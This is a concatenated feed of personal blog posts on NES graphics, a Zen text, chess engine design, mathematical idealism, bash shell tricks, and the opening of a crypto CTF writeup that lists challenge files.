The fun thing is that only 256 CHR tiles are allowed, so you have to
reuse CHR tiles.
Regarding the colors, there are in total 64 colors you can choose
from (instead of the 16 for the C64).
But you can only use 4 palettes consisting of 3 colors and a
background color which is shared between all palettes.
Per block (=2x2 CHR tiles), you need to choose one palette. So you
have 2 bits per pixel.
The image is then stored as the following data structures.</p>
<ol>
<li>a bunch of CHR tiles (at most 256)</li>
<li>a nametable, which assigns CHR tiles to the tiles of the screen</li>
<li>four palettes</li>
<li>an assignment of palettes to blocks of the screen</li>
</ol>
<p>This format of course makes very good use of the limited memory of the
NES, but is not very handy for drawing. To be honest, it looks like a
great pain.</p>
<p>When drawing art for the NES, you probably want to have a graphic
editor, which can take care of these limitations.
There is <a href="http://wiki.nesdev.com/w/index.php/YY-CHR">YY-CHR</a> which
works under wine and can work with tiles. Previously, I have used
YY-CHR for dumping tiles out of finished roms.
There is also <a href="https://github.com/dustmop/makechr">makechr</a> which can
take in a png file and convert it into the four data structures needed for
representing the image in the NES.
Additionally, there is <a href="https://github.com/pinobatch/nesbgeditor">this
thing</a> which i did not test
yet and <a href="https://www.mapeditor.org/">tiled</a> which I also did not test
yet.</p>
<p>I thought there should be a Lua extension for GIMP which at least can
count the CHR tiles (to ensure that you are not going beyond 256), or
otherwise ensure that you are working within the restrictions of the
NES. I did not find one. Maybe I can write it by myself.
In fact, I should probably admit at this point, that I was unable to
successfully draw an image for NES except the most basic stuff, such
as a black background.</p>
<p>[Edit 2020-03-28: I was able to draw an image. My current workflow
uses the <a href="https://shiru.untergrund.net/software.shtml">NES Screen
Tool</a>.]</p>
<p>Additionally to the background images, which I explained above, there
are also sprites. You can think of these as “floating stuff”. I will
not explain them here. Read
<a href="http://wiki.nesdev.com/w/index.php/PPU_OAM">this</a> instead.</p>
<p>If you want to have another explanation of the PPU, there is one
<a href="http://www.dustmop.io/blog/2015/04/28/nes-graphics-part-1/">here</a>.</p>
<p>And that is all you have to know in order to start with NES
development.</p>
<h2 id="tutorials">Tutorials:</h2>
<p>Here is a bunch of tutorials i am currently working with.</p>
<h3 id="bottom-up">Bottom up</h3>
<p>These tutorials are bottom-up, i.e., you start with nothing and then
learn step by step.</p>
<ul>
<li><a href="https://nesdoug.com/">Nesdougs tutorial</a></li>
<li><a href="https://nerdy-nights.nes.science/">Nerdy Nights</a></li>
</ul>
<h3 id="top-down">Top Down</h3>
<p>These tutorials are top-down, i.e., you start with a bunch of stuff
which you only partially understand and then hack around.</p>
<ul>
<li><a href="https://github.com/Vector35/PwnAdventureZ">PwnAdventures</a></li>
<li><a href="https://github.com/sebastiandine/openNES-Snake">openNES-Snake</a></li>
<li><a href="https://github.com/cppchriscpp/nes-starter-kit/">NES starter kit</a>
Note: this describes a windows-only toolchain.</li>
<li>You can also take any rom and reverse engineer it. Play around with
the included sprites. Maybe try to dump the music.</li>
</ul>
<h2 id="other-resources">Other resources:</h2>
<p><a href="http://wiki.nesdev.com/w/index.php/Nesdev_Wiki">Nesdev Wiki</a> is
probably the best resource when it comes to the NES. However, it is
often overwhelming for a beginner such as me.</p>
<h2 id="thanks">Thanks</h2>
<p>Thanks to <a href="https://twitter.com/cppchriscpp">@cppchriscpp</a> and <a href="https://twitter.com/nesdoug2">@nesdoug</a>.</p>
Comments On On Zen
2020-02-19T00:00:00+00:00
https://hkopp.github.io/2020/02/comments-on-on-zen
<h1 id="introduction">Introduction</h1>
<p>Today, I want to write about something completely different than the
usual topics of my blog. This time I am commenting on a text which I
like called
“On Zen” by Daio Kokushi. Daio Kokushi was a japanese monk in the
Rinzai Zen lineage who lived from 1235 to 1309.</p>
<p>I first encountered this text when i was on vacation at a monastery.
We read it and at first I did not get it at all. The version I read
was in my mother tongue German and used very flowery and uncommon
language. But do not worry, for the purpose of this post I am
concentrating on an English translation. After a while i got some
parts of the text, and that is now what i want to write down, in case
i forget it again.</p>
<h1 id="my-comments-on-on-zen">My Comments on “On Zen”</h1>
<blockquote>
<p>There is a reality even prior to heaven and earth; <br />
Indeed, it has no form, much less a name; <br />
Eyes fail to see it; It has no voice for ears to detect; <br />
To call it Mind or Buddha violates its nature, <br />
For it then becomes like a visionary flower in the air; <br />
It is not Mind, nor Buddha;</p>
</blockquote>
<p>Kokushi talks about a thing which is beyond the duality of good and
evil, male and female, heaven and earth, and so on. He does not say that the duality does not exist, but rather
that there is something “even prior” to this duality.
You cannot get it by using your usual senses like eyes and ears.
And if you give it a name, it becomes a concept. But a concept could
never encompass it for it is beyond human concepts and human thinking.</p>
<blockquote>
<p>Absolutely quiet, and yet illuminating in a mysterious way, <br />
It allows itself to be perceived only by the clear-eyed. <br />
It is Dharma truly beyond form and sound; <br />
It is Tao having nothing to do with words.</p>
</blockquote>
<p>This is again about how it transcends form and sound. It is reality
not tainted with any words. It is the sound of a distorted guitar, before
categorizing it as “distorted guitar playing an e minor chord”.
Actually, when i say “sound of a distorted guitar”, it is already
categorized. That is, why it is beyond language.</p>
<p>I speculate that there are some remains in language which point to
it. For example the “it” in “It is nine o’clock” or “It is raining”.
What is that “it” that is nine o’clock? What is that “it” that is raining?</p>
<blockquote>
<p>Wishing to entice the blind, <br />
The Buddha has playfully let words escape his golden mouth; <br />
Heaven and earth are ever since filled with entangling briars.</p>
</blockquote>
<p>That part took me a while to understand. Though now it seems really
easy. The Buddha tried to explain that “it” with words to those who
did not get it. However, since it cannot be described with words, his
explanation filled heaven and earth “with entangling briars”.
It is hard to explain a dream, as you are currently inside this same dream.</p>
<blockquote>
<p>O my good worthy friends gathered here, <br />
If you desire to listen to the thunderous voice of the Dharma, <br />
Exhaust your words, empty your thoughts, <br />
For then you may come to recognize this One Essence.</p>
</blockquote>
<p>If you want to get to know this reality beyond human concepts get rid
of human concepts. Do not approach it with words nor with human
thinking, as that does not work.</p>
Chess Engine Design
2020-01-12T00:00:00+00:00
https://hkopp.github.io/2020/01/chess-engine-design
<h2 id="intro">Intro</h2>
<p>Some time ago I thought that it would be nice to have a programming
project again. It should not be too simple, such as writing a sudoku
solver, and on the other hand it should not be too complex.
I thought about fluid simulations, but then discarded the thought, as
I am probably missing the background knowledge.</p>
<p>So, my thoughts came to a chess engine. As that may qualify for a nice
programming project, I thought very hard about the design of a chess
engine. This post is what I learned in the process. Note that parts of
it may be wrong. Maybe, I will soon embark on this adventure.</p>
<h2 id="overview">Overview</h2>
<p>A chess engine is a computer program that can play chess. An
artificial intelligence, if you want to call it like that.
The current state is that Chess can be played by computers better than
by humans. In 1996, there was the famous match, where <a href="https://en.wikipedia.org/wiki/Deep_Blue_(chess_computer)">Deep
Blue</a>, a
computer program, won against the chess world champion Gary Kasparov.
Nevertheless, chess is far from being a solved game. For example, it
is not known if for optimal play, the first player always wins or if
the game ends in a draw.</p>
<p>In order for a program to play chess, there need to be several
modules which will be explained in detail in the following.
There needs to be a representation of the board, as well as knowledge
of the rules.
Then, the game tree needs to be computed. This tree contains a board
state at each node, and the links between the nodes are the valid
state transitions, i.e., the valid moves. Note that this tree is too
large to be fully computed. Thus, it can only be partially computed. Additionally, note that the board representation needs to
be small in order to create this tree fast.
Next, we need an evaluation function which helps us to evaluate the
different game states. We need a search strategy in order to search
through the partial tree and find the best move.
Finally, an interface is needed which is used to communicate with the
chess engine.</p>
<h2 id="board-representation-and-game-state">Board Representation and Game State</h2>
<p>A chess board is exactly 8x8 fields large. As a funny coincidence,
current CPUs have registers of 64 bit length. Consequently, a bunch of
optimizations are possible, as 8*8=64.
Each piece can be represented on an own board. This is 64 bits, where
all bits except one of them are zero. The remaining bit that is one
describes the position of the piece.
These boards are called <a href="https://www.chessprogramming.org/Bitboards">Bitboards</a>.</p>
<p>Using various Bit-fiddling approaches, the valid moves can be
computed.
Note that this is easy for knights, as their movement cannot be
obscured by other pieces. Other pieces such as a rook, on the other
hand cannot jump over other pieces. Therefore their implementation is
slightly trickier, as pieces in their path need to be taken into
account.
One technique for that are <a href="https://www.chessprogramming.org/Magic_Bitboards">Magic</a> <a href="https://rhysre.net/2019/01/15/magic-bitboards.html">Bitboards</a>.</p>
<p>Additionally to the board, the pieces and their movements, there are
various special moves that need to be taken into account in order to
go from a board with positions to the game state. The following come
to mind:</p>
<ul>
<li>en passant</li>
<li>50 move rule</li>
<li>threefold repetition</li>
<li>castling</li>
</ul>
<h3 id="en-passant">En Passant</h3>
<p>This is a special move that can only be performed by pawns, but only
dependent on the movement on another pawn.
<a href="https://en.wikipedia.org/wiki/En_passant">Wikipedia</a> probably has a
better explanation.
I think that en passant can be implemented by using an additional en
passant bitboard that describes the fields to which an en passant move
is possible.</p>
<h3 id="50-move-rule">50 Move Rule</h3>
<p>If for 50 moves, there was no capture, the game is declared a draw.
This can be implemented by an additional clock in the game state that
counts the moves and is increased for each move. When a capture
happens, it is reset to zero.</p>
<h3 id="threefold-repetition">Threefold Repetition</h3>
<p>If a board state is encountered three times, the game is declared a
draw. In order to implement this rule, the game state needs to
remember the last positions. This is bad, as that probably takes a lot
of memory and thus is slow.
The last positions can be pruned, if a piece is captured.
There are various <a href="https://www.chessprogramming.org/Repetitions">better
ways</a> to implement this.
I have not researched much into this topic, but apparently it is
possible with a <a href="https://en.wikipedia.org/wiki/Zobrist_hashing">special hash
table</a>.
Well, this is probably the special rule that will need the most lines of
code for extra treatment.</p>
<h3 id="castling">Castling</h3>
<p>Well, another <a href="https://en.wikipedia.org/wiki/Castling">special move</a>.
This one can be done on the kingside and on the queenside, but only if
the king is not in check, has not been moved, and if none of the passing fields are under
attack. This one can probably be implemented simply by setting a
bit.</p>
<h2 id="the-game-tree">The Game Tree</h2>
<p>In order to build the game tree, there needs to be a move-generating function.
This function needs to be fast, as all the moves correspond to nodes
in the tree. There is often even <a href="https://www.chessprogramming.org/Perft">special evaluation
code</a> for the speed of the
generation of the movements.
On the tree, the <a href="https://en.wikipedia.org/wiki/Minimax">Minimax</a>
Algorithm is used. This algorithm computes the next move with the
minimum maximal loss.
In our case, we give each move a number that corresponds to the
advantage of one side. Assuming optimal play from the opponent (the
maximal loss), we want to minimize that by choosing our move.
As chess is a zero-sum game (the advantage of one side is the
disadvantage of the other side), we can use
<a href="https://en.wikipedia.org/wiki/Negamax">Negamax</a> which computes the
same result as Minimax, but is simpler to implement.
Of course, this can be enhanced by using various heuristics, such as
<a href="https://en.wikipedia.org/wiki/Alpha%E2%80%93beta_pruning">alpha-beta pruning</a> or the <a href="https://en.wikipedia.org/wiki/Killer_heuristic">Killer heuristic</a>.
As the full game tree cannot be computed, the evaluation of the
advantage is done in a certain depth of the game tree, such as six. In
that case, the engine would compute six moves ahead.</p>
<h2 id="evaluation-function">Evaluation Function</h2>
<p>At first it seems that the whole magic of the chess engine is in the
evaluation function. However, that is not completely true. The
depth of the evaluation also certainly plays an important role.
The most common <a href="https://en.wikipedia.org/wiki/Chess_piece_relative_value">assignment of values to game
pieces</a> is
pawn=1, bishop=3, knight=3, rook=5, queen=9.
Note that the value additionally depends on the position of the piece.
Thus, the pieces can be weighted by being more in the center.</p>
<h2 id="the-horizon-effect">The Horizon Effect</h2>
<p>The <a href="https://en.wikipedia.org/wiki/Horizon_effect">horizon effect</a>
occurs, if the search tree is only evaluated to a fixed depth. Attacks
beyond that depth (beyond the horizon) are not evaluated.
As an example, assume that the game tree is searched up to depth 10.
Then, if we can capture the queen after ten moves, this move is
evaluated high. However, it may be the case, that we lose our queen
certainly in move eleven. The chess engine will not be able to detect
this threat. Additionally, sometimes sacrifices of pieces can lead to
better positions.
A technique to mitigate this problem is called
<a href="https://en.wikipedia.org/wiki/Quiescence_search">Quiescence</a> <a href="https://www.chessprogramming.org/Quiescence_Search">Search</a>.
Basically, in the end node, all paths consisting of immediate captures
are searched, until the node is ‘quiet’, and then the evaluation is
performed.</p>
<h2 id="monte-carlo-tree-search">Monte Carlo Tree Search</h2>
<p>The <a href="https://en.wikipedia.org/wiki/Monte_Carlo_tree_search">Monte Carlo Tree
Search</a> is a
separate approach to chess engines that does not require an evaluation
function. But first, a little bit of history.
Ten years ago, it was unthinkable that in the board game Go computers
will ever beat humans. It was thought that in order to play Go well,
a lot of pattern recognition and other algorithmic hurdles have to be
tackled. Go has an even larger game tree than chess, and thus even
partial search is futile. Well, then Google developed
<a href="https://en.wikipedia.org/wiki/AlphaGo">AlphaGo</a>, a computer program
that beat the Go grandmaster Lee Sedol.
The algorithmic improvements of AlphaGo were then used to play chess,
leading to <a href="https://en.wikipedia.org/wiki/AlphaZero">AlphaZero</a>.
AlphaZero then crushed the then strongest chess engine
<a href="https://stockfishchess.org/">Stockfish</a>.
As Stockfish is
<a href="https://github.com/official-stockfish/Stockfish">open-source</a>, the
guys from Stockfish thought that the algorithmic improvements from
AlphaZero should also be available in an open-source form. This lead
to the development of
<a href="https://en.wikipedia.org/wiki/Leela_Chess_Zero">Leela</a>
<a href="https://lczero.org">Chess</a>
<a href="https://github.com/LeelaChessZero/lc0">Zero</a>.</p>
<p>This new breed of chess engines does not use an evaluation function,
but only knows the rules of chess. It then trains an internal neural
network by playing against itself. I have not yet researched the
details, as I do not have enough money to train such a beast after
programming one, but what I understood is that it makes use of <a href="https://en.wikipedia.org/wiki/Monte_Carlo_tree_search">Monte
Carlo Tree
Search</a>.
In this algorithm, the game states are not evaluated by an evaluation
function, but rather by randomly playing a node to the end of the
game. The evaluation of that node is then the expected value of the
win.
Note that this gives only the ‘average’ score of nodes. In cases when
there are only few good moves, and most of the moves are bad, Monte
Carlo tree search may not find the good moves and may falsely infer
that the move is bad.</p>
<h2 id="interfaces">Interfaces</h2>
<p>In order for the engine to play, there needs to be an interface to the
real world. Luckily, there is the
<a href="http://wbec-ridderkerk.nl/html/UCIProtocol.html">UCI protocol</a>.
This protocol communicates over clear text and allows to play chess.
As an example, it is possible to hook up the engine via telnet to a
remote chess server such as
<a href="https://en.wikipedia.org/wiki/Free_Internet_Chess_Server">FICS</a> and
let it play there.</p>
<p>Additionally there are multiple notations for chess moves and board
positions. These can be helpful in debugging.</p>
<p>For board positions, there is <a href="https://en.wikipedia.org/wiki/Forsyth%E2%80%93Edwards_Notation">Forsyth-Edwards
Notation</a> and <a href="https://www.chessprogramming.org/Extended_Position_Description">Extended Position Description</a>.
As far as I know, this is only useful, when chess is started in other
positions as the default one. FEN and EPD are not really human-readable, and
for debugging, pretty printing the board with the usual signs (r=rook,
p=pawn, …) seems easier to me.</p>
<p>There is <a href="https://en.wikipedia.org/wiki/Portable_Game_Notation">Portable Game
Notation</a>.
This can record chess games and seems to look very useful to be.
PGN can be converted to board positions by playing through the game.
After the metadata, the heart of PGN consists of the description of
the chess moves in <a href="https://en.wikipedia.org/wiki/Algebraic_notation_(chess)">algebraic
notation</a>.</p>
<h2 id="opening-and-ending">Opening and Ending</h2>
<p>The opening and ending are often handled separately.</p>
<h3 id="opening">Opening</h3>
<p>In the opening, we are at the start of the tree and cannot really
decide between good and bad moves, as the tree has such an immense
depth. However, there are standard openings in human games. We may think
that humans have evolved chess through centuries of evolution and thus
these openings are good. In that case, we can give our chess engine a
book of openings which it can use. This is just a really long table on
what to do in the first five moves.</p>
<h3 id="ending">Ending</h3>
<p>In the ending, it may be the case that only three pieces are on the
board and that there is a wide variety of moves. However, computing
through all these moves may take a long time.
For this case, there are special <a href="https://syzygy-tables.info/">endgame
tables</a>. These can be used to see if the
current game is won, lost, or a draw.</p>
<h2 id="conclusion">Conclusion</h2>
<p>Most of the described parts are optional optimizations.
In general, only a board representation, a movement generating
function, as well as the search tree with its evaluation is needed.
Additionally, it may be of interest, that chess engines are not as
complicated as they once have been. DeepBlue was designed by
Masterminds using state of the art technology. Currently, a chess
engine is in the reach of a hobby programming project.</p>
On Idealism In Mathematics
2019-10-28T00:00:00+00:00
https://hkopp.github.io/2019/10/on-idealism-in-mathematics
<script type="text/javascript" src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
<h2 id="introduction">Introduction</h2>
<p>Today, I want to write about idealism in mathematics for a general
audience. I will cover some arguments that I think are strong
indicators for the idealist position.</p>
<p>These include</p>
<ul>
<li>observations on prime numbers, where I will talk about the Ishango
bone,</li>
<li>the Church-Turing thesis, and</li>
<li>the Curry-Howard correspondence.</li>
</ul>
<p>Feel free to skip to the parts that interest you.</p>
<p>I think most mathematicians are idealists in some way or another.
Idealism in this case does not mean that they are somehow positive,
but rather refers to an old philosophical stance going back to Plato,
that there is a world of ideals, and this material world is just a
reflection of that ideal world. This includes the viewpoint that
non-material things like numbers really exist.</p>
<p>But do they? Does a number like two or three really exist outside of
that which it is counting? Have numbers been discovered (the idealist
position) or invented (the materialist position)?</p>
<p>For a while I was not very convinced that infinity exists. All things
in this universe and in my perception are finite. So why should an
infinity exist.
There is a famous quote by the great mathematician Leopold Kronecker,
that says “Die ganzen Zahlen hat der liebe Gott gemacht, alles andere
ist Menschenwerk” (“God made natural numbers; all else is the work of
man “).
Up to now I am still not very convinced that infinity really exists as
a thing in itself. But I made a bunch of other discoveries.</p>
<h2 id="prime-numbers-and-a-prehistoric-bone">Prime Numbers and a Prehistoric Bone</h2>
<p>Some 18000 to 20000 years ago there was someone scratching curious
marks on a bone.
These marks are arranged in mathematical patterns.
We know of this fact, because that bone has later been found and
became known as the <a href="https://en.wikipedia.org/wiki/Ishango_bone">Ishango bone</a>.</p>
<p>The third of column of scratches on that bone are arranged in four sets of 19, 17,
13, and 11 scratches. Any fairly competent mathematician would
immediately think of prime numbers when mentioning these scratched numbers.
These special types of numbers are strongly tied to the concept of
dividing things, which I would argue is a natural operation. Dividing
cookies between children or dividing loot from a hunt between families
is, in my opinion, a very natural thing to do.</p>
<p>Prime numbers, like 19, 17, 13, or 11 are numbers that cannot be
“sensibly” divided.
If you have 13 cookies and want do divide them fairly between any number
of children, this only works if you have only one child or 13
children.
Otherwise you end up cutting up cookies.
Under the assumption that fair division is a natural concept, the
phenomenon of prime numbers is in some sense natural.</p>
<p>Moreover, prime numbers behave like “things of the material world”.
With this, I mean that material things are not mathematical points or
without any physical friction, or other such nonsense that has been
conflated with the term idealism.
In fact, prime numbers behave “randomly” in the sense that they evade
characterisation in some formulaic way.
To be more precise, there is no polynomial function \(f\), such that
\(f(n)\) is the \(n\)-th prime number.
This is a property I would expect from discovered things, but not from
invented things.</p>
<p>What was that person producing these scratching marks on that bone
experiencing? Was he/she discovering prime numbers?</p>
<p>To be fair, I have to mention, that it is disputed if these numbers
are really meant to be prime numbers, or if this is just a
coincidence. Maybe it was a calendar or some other thing.
However, prime numbers better fit into the arc of my story.</p>
<h2 id="the-discovery-of-computation-the-invention-of-computers">The Discovery of Computation, the Invention of Computers</h2>
<p>When trying to find an example of something that is definitely
man-made, computers and programming languages seem to be a good
starting point.
However, they are not.
Computation itself behaves like what I would expect from “natural
things” that occur “in the wild”, as I will discuss in the following.</p>
<p>In the 1930s – long before computers have become common – there have
been multiple attempts to define what computation itself is.
It was somehow clear that given enough time some things can be
computed given a paper and a pencil.
However, there was no formal notion of computability.</p>
<p>The most famous of these approaches is perhaps the Turing machine by
Alan Turing. This is not a real physical machine, but rather a
hypothetical machine with multiple states and an infinitely long tape
that can be read from and written to. Alan Turing defined functions to
be “computable” if they can be represented as a Turing machine.</p>
<p>In contrast to Turing machines, Kurt Gödel worked on
\(\mu\)-recursive functions.
These are a special class of functions, defined by a bunch of basic
functions, together with a bunch of rules to create more complex
functions from these basic functions.
Gödel defined functions to be “computable” if they can be realized as
a \(\mu\)-recursive function.</p>
<p>Additionally to Turing and Gödel, Alonzo Church worked on a formalism
to define computability.
This formalism is now known as the \(\lambda\)-calculus.
The lambda calculus is a set of rules on how to manipulate terms.
Church defined functions to be “computable” if they can be
represented as terms in the \(\lambda\)-calculus.</p>
<p>The big surprise is that all of these approaches to computability –
though they have been independently “invented” – have the same power.
All of these three definitions of computable functions are equivalent.
Computable function for Turing machines, for \(\mu\)-recursive
functions, and in the framework of the \(\lambda\)-calculus are the
same.
This suggests that “computable functions” in the intuitive sense, are
exactly those functions that can be computed in one (then all) of
these frameworks.
This hypothesis or definition of computability, became known as the
<a href="https://en.wikipedia.org/wiki/Church%E2%80%93Turing_thesis">Church-Turing thesis</a>.</p>
<p>This observation suggests that computability itself is not an invented
concept, but rather a discovered natural notion and is woven deep into
the fabric of the universe.
There seems to be no other concept of computation that is more
powerful than the current concepts.
Moreover, the current concepts all have exactly the same power.
If computation would have been invented, I would have expected that
some formalisms are strictly more powerful than others, and the most
powerful formalism wins.</p>
<p>This implies that all programming languages (up to some very primitive
languages) are built to have the same power.
Functions that are computable in one programming language are also
computable in another programming language.
The observation of the equivalence between these different
formalisations of computability even suggests that there will be no
more powerful programming language in the sense that this new language
can compute more things
This holds up to now, and even quantum computers will
only get faster, but will obey these natural laws to computability.</p>
<h2 id="logic-and-computation">Logic and Computation</h2>
<p>I have another point up my sleeve, namely the <a href="https://en.wikipedia.org/wiki/Curry%E2%80%93Howard_correspondence">Curry-Howard correspondence</a>.
The Curry-Howard correspondence is an isomorphism between mathematical
proofs and programs.
An isomorphism means that they have the same structure:
Proofs and programs are the same, up to terminology.</p>
<p>Let’s do an example.
Informally speaking, if there is a program that converts \(A\) to
\(B\), and another program that converts \(B\) to \(C\), then you can
combine these two programs.
The result is a program that takes as input some \(A\) and outputs
\(C\).
The same is true of proofs. If you have a proof that \(B\) is true
under the assumption \(A\), and a second proof that \(C\) is true
under the assumption \(B\), then you can combine these proofs.
Thus, if \(A\) is true, then \(B\) is true (due to the first proof),
and if that is the case, then \(C\) is true (due to the second proof).
Thus, the combined proofs state that \(C\) is true, given that \(A\)
is true.</p>
<p>This Curry-Howard correspondence leads to a number of interesting
observations.
As an example, in computability, there are some functions that can be
proven to be not computable. This is known as the <a href="https://en.wikipedia.org/wiki/Halting_problem">Halting
problem</a>.
The halting problem is a function that cannot be computed on a Turing
machine. And as Turing machines, \(\mu\)-recursive functions, the
\(\lambda\)-calculus, and all other formalizations of computability
are equivalent, it can be said that this Halting function cannot be
computed at all.
What does this mean if we apply the Curry-Howard correspondence?
Well, as computation and proofs are equivalent, this yields <a href="https://en.wikipedia.org/wiki/G%C3%B6del%27s_incompleteness_theorems">Gödel’s
incompleteness theorem</a>.
This theorem tells us that there are statements that can be expressed
in a given set of axioms, but can neither be proven nor disproven:
They are undecidable.</p>
<p>Hence, computation and logic are strongly intertwined. They are even
isomorphic, i.e., the same up to terminology.
Thus, I cannot doubt any longer that an alien culture with sufficient
intelligence will eventually come up with some formalization that is
isomorphic to, say, Turing machines.
Consequently these have been discovered, instead of invented.</p>
<h1 id="conclusion">Conclusion</h1>
<p>To conclude, I will repeat my main points.
Things like primes, computation, and logic – though they may seem
man-made – are not invented, but discovered.</p>
<p>Primes behave “randomly”, in some sense. Exactly, as one would expect
from naturally occuring things.
Formalizations of computability have exactly the same expressiveness, thus
suggesting a natural law to computability.
Proofs are isomorphic to computation, and thus logic and computation
itself are two sides of the same coin.</p>
Useful Bash Tricks
2019-09-29T00:00:00+00:00
https://hkopp.github.io/2019/09/useful-bash-tricks
<h2 id="intro">Intro</h2>
<p>This is a short list of useful intermediate bash tricks.
Often, the problem with this kind of posts in my opinion is that some
tricks are explained, but it is not made clear when to use them.
Thus, I try to introduce these techniques using a problem.
I will discuss command substitution, process substitution and the
heredoc syntax.</p>
<h2 id="command-substitution">Command Substitution</h2>
<h3 id="problem">Problem</h3>
<p>Say, I want to find out which libraries the command cat uses.
Determining the libraries can be done using the command <em>ldd</em>.
However, ldd takes a file as an argument.
Consequently I have to find out where cat is and then invoke ldd on
it.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash">hk@localhost:~<span class="nv">$ </span>which <span class="nb">cat</span>
/usr/bin/cat
hk@localhost:~<span class="nv">$ </span>ldd /usr/bin/cat
linux-vdso.so.1 <span class="o">(</span>0x00007fff944f0000<span class="o">)</span>
libc.so.6 <span class="o">=></span> /lib64/libc.so.6 <span class="o">(</span>0x00007fe7d6b11000<span class="o">)</span>
/lib64/ld-linux-x86-64.so.2 <span class="o">(</span>0x00007fe7d70da000<span class="o">)</span></code></pre></figure>
<p>That is far too much to type.</p>
<h3 id="solution">Solution</h3>
<p>Bash can substitute a command by its result if it is between
backticks. A more modern approach is writing the command $(like this).
As we do not care where cat lives, we can use the following code.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash">hk@localhost:~<span class="nv">$ </span>ldd <span class="si">$(</span>which <span class="nb">cat</span><span class="si">)</span>
linux-vdso.so.1 <span class="o">(</span>0x00007ffd8e9e8000<span class="o">)</span>
libc.so.6 <span class="o">=></span> /lib64/libc.so.6 <span class="o">(</span>0x00007f6975f48000<span class="o">)</span>
/lib64/ld-linux-x86-64.so.2 <span class="o">(</span>0x00007f6976511000<span class="o">)</span></code></pre></figure>
<p>In general, Bash substitutes the string $(command) by the result of invoking <em>command</em>.</p>
<h2 id="process-substitution">Process Substitution</h2>
<h3 id="problem-1">Problem</h3>
<p>The same can be done using processes. Say, we want to base64 encode
the string “Hallo”. Further, we do not know that <em>base64</em>
can read from standard input when given <code class="language-plaintext highlighter-rouge">-</code> as filename.
Consequently, as base64 reads from a file, we would have to write
“Hallo” to a file and then base64 encode it.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash">hk@localhost:~<span class="nv">$ </span><span class="nb">echo</span> <span class="s2">"Hallo"</span> <span class="o">></span> temp
hk@localhost:~<span class="nv">$ </span><span class="nb">base64 </span>temp
SGFsbG8K
hk@localhost:~<span class="nv">$ </span><span class="nb">rm </span>temp</code></pre></figure>
<p>Argh! What a waste. Why can’t we use a temporary file which deletes
itself?</p>
<h3 id="solution-1">Solution</h3>
<p>Well, it turns out we can.
With the syntax <(command) bash gives us a temporary file which
contains the result of running <em>command</em>.
Thus, we can do the following:</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash">hk@localhost:~<span class="nv">$ </span><span class="nb">base64</span> <<span class="o">(</span><span class="nb">echo</span> <span class="s2">"Hallo"</span><span class="o">)</span>
SGFsbG8K</code></pre></figure>
<p>What happens here is that Bash generates a temporary file descriptor.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash">hk@localhost:~<span class="nv">$ </span><span class="nb">echo</span> <<span class="o">(</span><span class="nb">echo</span> <span class="s2">"Hallo"</span><span class="o">)</span>
/dev/fd/63</code></pre></figure>
<p>This is a symbolic link to a pipe.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash">hk@localhost:~<span class="nv">$ </span>file <<span class="o">(</span><span class="nb">echo</span> <span class="s2">"Hallo"</span><span class="o">)</span>
/dev/fd/63: broken symbolic <span class="nb">link </span>to pipe:[3115050]</code></pre></figure>
<p>Don’t ask me why it says that it is broken. Perhaps due to some race
condition.</p>
<h2 id="heredoc">Heredoc</h2>
<h3 id="problem-2">Problem</h3>
<p>You are on a server and do not have a nice text editor. Say, you are
in a reverse shell. Nevertheless, you have a multi-line kernel exploit
which you want to use.</p>
<h3 id="solution-2">Solution</h3>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash">hk@localhost:~<span class="nv">$ </span><span class="nb">cat</span> <span class="o">></span> file.txt <span class="o"><<</span><span class="no">EOF</span><span class="sh">
> first line
> second line
> third line
> EOF</span></code></pre></figure>
<p>This reads up to the string EOF, and puts that stuff into file.txt.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash">hk@localhost:~<span class="nv">$ </span><span class="nb">cat </span>file.txt
first line
second line
third line</code></pre></figure>
Writeup Crypto Ctf
2019-08-11T00:00:00+00:00
https://hkopp.github.io/2019/08/writeup-crypto-ctf
<script type="text/javascript" src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
<h2 id="intro">Intro</h2>
<p>On the 2019-08-10 i participated in the <a href="https://cryp.toc.tf">First Crypto
CTF</a>.
Actually I had something else planned for the weekend, and so I could
not hack the whole time and just hacked around six hours. In fact, I
solved only the easiest challenges.
Nevertheless, it was fun and I learned something. Thanks to the
organizers for finally having a crypto ctf without people complaining
about crypto.</p>
<p>As usual in CTFs there were a bunch of challenges and if you solved
one correctly, a special flag in form of a binary string appears from
somewhere. This flag can be submitted in the web-interface and your
team gets points.</p>
<p>This post contains my writeup. If you want to play around with the
challenges, you can find them at the following links. If you want to
read other writeups, go <a href="https://ctftime.org/event/806/tasks/">here</a>.</p>
<ul>
<li><a href="http://hkopp.github.io/assets/writeup-crypto-ctf/challenges/alone_in_the_dark_94ff86de52959c8800ff062a04a29460a013f916.txz">alone in the dark</a></li>
<li><a href="http://hkopp.github.io/assets/writeup-crypto-ctf/challenges/bad_zero_f4b9b5f65838a7a80281165f66cfd5426bf19e28.txz">bad zero</a></li>
<li><a href="http://hkopp.github.io/assets/writeup-crypto-ctf/challenges/cat_sharing_51f8e5e81be6c99b55202b0295a62d853fef1803.txz">cat sharing</a></li>
<li><a href="http://hkopp.github.io/assets/writeup-crypto-ctf/challenges/clever_girl_new_33a43871dd9442e35ea1b738c3abdccc00e76ec1.txz">clever girl</a></li>
<li><a href="http://hkopp.github.io/assets/writeup-crypto-ctf/challenges/fast_speedy_a2868f39722965b77685fd4615dafffaf22688a4.txz">fast speedy</a></li>
<li><a href="http://hkopp.github.io/assets/writeup-crypto-ctf/challenges/galof_11cdf881ca88298b718eba2155ab8a4e3def74b6.txz">galof</a></li>
<li><a href="http://hkopp.github.io/assets/writeup-crypto-ctf/challenges/midnight_moon_13ea717e8d4161544ed0cf4e1239a04cbfde4cce.txz">midnight moon</a></li>
<li><a href="http://hkopp.github.io/assets/writeup-crypto-ctf/challenges/oliver_twist_2701ed05645dfebd0534ad0fd0ece53530f5c15a.txz">oliver twist</a></li>
